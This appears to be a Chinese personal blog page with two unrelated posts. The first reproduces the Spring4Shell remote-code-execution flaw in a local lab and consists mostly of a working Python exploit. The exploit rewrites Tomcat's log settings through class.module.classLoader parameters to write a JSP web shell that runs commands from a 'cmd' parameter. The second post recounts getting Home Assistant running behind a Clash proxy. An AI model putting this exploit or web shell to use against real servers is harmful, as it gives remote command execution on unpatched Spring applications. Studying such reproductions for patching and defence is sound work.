2022年4月

起因经过

这个洞在29号漏出后,我反正是摆烂的,没怎么动手。
后面在31号才拿到环境,然后利用作者写的文章进行复现。

  1. 简单的idea Spring项目环境搭建,坑点是有几个依赖包没有,以及JDK17不支持漏洞。
  2. 实现原理:通过Bean对象的生成中有缓存class方式,然后通过这个利用点,构造log日志调用链,从而达到rec的目的。
  3. exp
    from time import sleep
    
    import requests
    
    test = ["class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bfuck%7Di",
            "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp",
            "class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/yunoon/Downloads/spring"
            "-rce-war-fa55cb4b11516784574d06948d53ac90f8430f50/out/artifacts/stupidRumor_war_exploded",
            "class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp",
            "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="]
    
    url = "http://localhost:8084/stupidRumor_war_exploded/index?"
    
    url2 = "http://localhost:8084/stupidRumor_war_exploded/index?"
    for i in range(5):
        url2 = url2 + "&" + test[i]
    print(url2)
    res = requests.get(url=url2)
    print(res.status_code)
    
    header = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 "
                      "Safari/537.36",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        'fuck': '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
        'Accept-Language': "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        'Accept-Encoding': "gzip, deflate",
        'Connection': "close",
        'Upgrade-Insecure-Requests': "1",
        'Sec-Fetch-Dest': "document",
        'Sec-Fetch-Mode': "navigate",
        'Sec-Fetch-Site': "none",
        'Sec-Fetch-User': "?1",
    }
    #
    url1 = "http://localhost:8084/stupidRumor_war_exploded/fuckUUUU"
    res = requests.get(url=url1, headers=header)
    print(res.status_code)
    
    
  4. 后面后空会分析原理的,咕咕咕。

起因经过(概要

很久以前就想做智能家居整合了,但一直没找到时间,今天得空。
第一次尝试,开始是打算直接用pip装的,发现windows的环境会报c++ 14缺失 Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build Tools最终的解决方案是,通过博客等方式了解信息,最终从下载下来一份VisualCppBuildTools_full,将这个安装后就可以使用了。(其实官网的也可以,但要在线下载,国内网络环境问题,这个问题在第二次尝试的时候解决的。)最终所有依赖包安装完毕后,发现不支持windows原生运行XD。

第二次尝试,在官网下载了安装镜像,但国内的环境让docker拉去镜像变得异常得慢,下了好几个小时都还没好,后面破防了,没有用这个方法。开始尝试第三种方法。
第三次尝试,直接拉docker容器发现还是拉的docker hub的镜像,通过更改为国内镜像解决问题。,这个可以,直接跑通,但后续还是有网络方面的问题。

最后对网络方面的问题就行总结一下,windows环境下,由于我用的是clash,无法对未配置的解析域名进行代理,从而导致的网络问题。后面在查阅clash官方文档发现可以用TAP模式(老版本没TUN模式),最后解决。在给VMware开了net模式后,可以直接走同一张网卡的流量,第二次尝试的问题就解决了。再来说第三次尝试的问题,虽然跑起来了,但是装hacs的时候发现还是出现代理问题,主要是GitHub的代理问题,我在有clash的设备上开启了允许局域网连接后,设置了git代理就最终解决了。目前已经可以把米家生态接入HomeKit了。

参考链接:
clash TAP配置:https://docs.cfw.lbyczf.com/contents/tap.html